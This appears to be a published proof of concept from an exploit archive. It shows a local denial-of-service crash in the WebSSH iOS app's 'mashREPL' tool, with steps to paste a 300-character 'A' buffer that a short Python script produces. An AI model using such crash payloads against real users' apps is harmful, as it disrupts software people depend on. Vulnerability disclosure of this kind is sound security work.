# Exploit Title: WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC) # Author: Luis Martinez # Discovery Date: 2021-05-18 # Vendor Homepage: https://apps.apple.com/mx/app/webssh-ssh-client/id497714887 # Software Link: App Store for iOS devices # Tested Version: 14.16.10 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: iPhone 7 iOS 14.5.1 # Steps to Produce the Crash: # 1.- Run python code: WebSSH_for_iOS_14.16.10.py # 2.- Copy content to clipboard # 3.- Open "WebSSH for iOS" # 4.- Click -> Tools # 5.- Click -> mashREPL # 6.- Paste ClipBoard on "mashREPL>" # 7.- Intro # 8.- Crashed #!/usr/bin/env python buffer = "\x41" * 300 print (buffer)